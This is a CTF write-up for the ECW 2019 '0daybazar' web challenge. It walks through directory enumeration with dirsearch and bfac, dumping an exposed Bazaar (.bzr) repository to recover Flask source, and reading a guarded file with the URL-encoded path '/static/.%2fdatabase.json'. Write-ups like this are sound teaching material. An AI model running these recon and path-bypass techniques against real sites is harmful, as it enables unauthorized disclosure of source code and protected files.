ECW 2019 CTF Qualification - Web (100 pts).

ECW 2019 CTF Qualification - 0daybazar

Challenge details

Event Challenge Category Points Solves
ECW 2019 CTF Qualification 0daybazar Web 100 30

Le nouveau site préféré de tout bon pentester, avec des exploits et probablement des vulns ;)

Accéder au challenge


The website used Bazaar as code revision control system, code can be downloaded from /.bzr/. Then we used a path traversal vulnerability to bypass Flask route.


When we arrive on the website, we got the following page:


After few unrevelant test on email input, I decided to run a dirsearch on the website.


dirsearch -u https://web_0daybazar.challenge-ecw.fr -c "session=[REDACTED]" -e .

You can also use bfac:

bfac -u https://web_0daybazar.challenge-ecw.fr/ --cookie "session=[REDACTED]"

Thanks to these tools we got 2 interesting URL:

https://web_0daybazar.challenge-ecw.fr/.bzr/checkout/dirstate (200) | (Content-Length: 5553)
https://web_0daybazar.challenge-ecw.fr/.bzr/README (200) | (Content-Length: 147)


If we look at .bzr on google we can learn about Bazaar. This is a GIT equivalent mostly used by GNU fundation. After few search abour “.bzr dump” we got a Github tool that we can use to dump the website source code.

Since ECW Qualification need cookies to reach the website, I changed the line

r = requests.get(url)


r = requests.get(url,cookies={"session":"[REDACTED]"})

The I ran the code:

apt install bzr
python3 dumper.py -u "https://web_0daybazar.challenge-ecw.fr" -o output
Created a standalone tree (format: 2a)
[!] Target : https://web_0daybazar.challenge-ecw.fr/
[+] Start.
[+] GET repository/pack-names
[+] GET checkout/dirstate
[+] GET checkout/views
[+] GET branch/branch.conf
[+] GET branch/format
[+] GET branch/last-revision
[+] GET branch/tag
[+] GET b'b9d145aedb5ccae17ae06cb44e36c7eb'
[*] Finish
tree output/.bzr/
├── branch
   ├── branch.conf
   ├── format
   ├── last-revision
   ├── lock
   ├── tag
   └── tags
├── branch-format
├── branch-lock
├── checkout
   ├── conflicts
   ├── dirstate
   ├── format
   ├── lock
   └── views
└── repository
    ├── format
    ├── indices
       ├── b9d145aedb5ccae17ae06cb44e36c7eb.cix
       ├── b9d145aedb5ccae17ae06cb44e36c7eb.iix
       ├── b9d145aedb5ccae17ae06cb44e36c7eb.rix
       ├── b9d145aedb5ccae17ae06cb44e36c7eb.six
       └── b9d145aedb5ccae17ae06cb44e36c7eb.tix
    ├── lock
    ├── obsolete_packs
    ├── pack-names
    ├── packs
       └── b9d145aedb5ccae17ae06cb44e36c7eb.pack
    └── upload

Okey, no interesting files yet. To recover files we need to run a bzr command:

bzr revert
 N  application.py
 N  static/
 N  static/css/
 N  static/css/font-awesome.min.css
 N  static/css/main.css
 N  static/database.json
 N  static/fonts/
 N  static/fonts/fontAwesome.otf
 N  static/fonts/fontawesome-webfont.eot
 N  static/fonts/fontawesome-webfont.svg
 N  static/fonts/fontawesome-webfont.ttf
 N  static/fonts/fontawesome-webfont.woff
 N  static/fonts/fontawesome-webfont.woff2
 N  static/images/
 N  static/images/bg01.jpg
 N  static/images/bg02.jpg
 N  static/images/bg03.jpg
 N  static/js/
 N  static/js/main.js
 N  templates/
 N  templates/index.html

We got the source code of application.py and database.json !

Last step

Lets have a look to the interesting files:

from flask            import Flask, render_template
from flask            import request, Response, send_from_directory
import json

application = Flask(__name__)

def bazaar(filename):
    print(application.root_path + '/.bzr/')
    return send_from_directory(application.root_path + '/.bzr/', filename, conditional=True)

@application.route("/enroll", methods=['POST'])
def enroll():
    email = request.form.get('email', '')

    with open('static/database.json', 'rw') as f:
        data = json.load(f)
        for d in data:
            if email == d:
                return "After this, there is no turning back. You take the blue pill - the story ends, you wake up in your bed and believe whatever you want to believe. You take the red pill - you stay in Wonderland, and I show you how deep the rabbit hole goes."

    return "Follow the white rabbit !"

@application.route('/static/database.json', methods=['GET'])
def endpoint():
    return Response('We are the samurai, the keyboard cowboys.', 401, {'The Plague':"There is no right and wrong. There's only fun and boring."})

@application.route("/", methods=['POST', 'GET'])
def welcome():
    return render_template('index.html', data="Razor: Remember, hacking is more than just a crime. It's a survival trait.")

if __name__ == '__main__':

No flag yet, maybe the database.json has been updated on the website. Sadly, the file is not directly reachable due to the specific route @application.route('/static/database.json', methods=['GET']).

My first thought was to use a path traversal attack on '/.bzr/<path:filename> route like this: https://web_0daybazar.challenge-ecw.fr/.bzr/../static/database.json but it didn’t work.

Note that path traversal must be used on tool like burp or must be url encoded because most of navigators already solve relative URL before sending the request.

Since /static/ folder is reachable (ie. /static/css/main.css) i decided to make a path traversal on /static/ like this:


And it worked ! The url is reachable on common navigators using url encode: https://web_0daybazar.challenge-ecw.fr/static/.%2fdatabase.json